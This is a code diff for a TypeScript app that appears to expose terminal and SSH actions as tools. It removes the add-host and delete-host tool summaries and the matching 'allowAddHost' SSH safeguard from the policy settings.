"apply_preset": { const a = args as { name?: string; allowDrops?: boolean }; const presetMap: Record) => TreeNode> = { @@ -1308,23 +1256,6 @@ export default function App() { const suffix = a.allowDrops ? " (drops allowed)" : ""; return { summary: `Reshape workspace to ${a.name}${suffix}` }; } - case "add_host": { - const a = args as { - label?: string; - hostname?: string; - user?: string; - port?: number; - }; - const label = (a.label && a.label.trim()) || a.hostname || "(host)"; - const conn = `${a.user ? `${a.user}@` : ""}${a.hostname ?? ""}${a.port ? `:${a.port}` : ""}`; - return { summary: `Save SSH host "${label}" (${conn})` }; - } - case "delete_host": { - const a = args as { hostId?: string }; - const host = a.hostId ? hosts.find((h) => h.id === a.hostId) : null; - const name = host ? `"${host.label}" (${host.hostname})` : a.hostId; - return { summary: `Delete SSH host ${name}` }; - } default: return { summary: `Run ${tool}` }; } diff --git a/src/components/PolicyTab.tsx b/src/components/PolicyTab.tsx index fa5011e..6ab3b26 100644 --- a/src/components/PolicyTab.tsx +++ b/src/components/PolicyTab.tsx @@ -127,7 +127,7 @@ export default function PolicyTab() { } function setSshSafeguard( - key: "allowOpenSsh" | "autoAllowSpawnedSsh" | "allowAddHost", + key: "allowOpenSsh" | "autoAllowSpawnedSsh", value: boolean, ) { mutate((p) => ({ @@ -208,24 +208,6 @@ export default function PolicyTab() { keystrokes. Only meaningful when the switch above is on. -
diff --git a/src/ipc.ts b/src/ipc.ts index 27482a3..d2a69e6 100644 --- a/src/ipc.ts +++ b/src/ipc.ts @@ -165,12 +165,11 @@ export interface McpPolicy { ask: string[]; allow: string[]; }; - /** SSH-specific capability switches; mirrors Rust SshSafeguards. All + /** SSH-specific capability switches; mirrors Rust SshSafeguards. Both * default to false on first load. */ sshSafeguards: { allowOpenSsh: boolean; autoAllowSpawnedSsh: boolean; - allowAddHost: boolean; }; }